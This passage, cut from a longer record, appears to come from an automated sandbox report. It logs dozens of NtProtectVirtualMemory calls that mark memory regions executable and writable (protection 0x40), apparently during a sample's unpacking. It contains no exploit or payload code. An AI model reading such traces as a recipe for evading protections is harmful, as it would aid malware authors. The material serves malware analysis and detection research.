NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.481] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0260.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0261.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 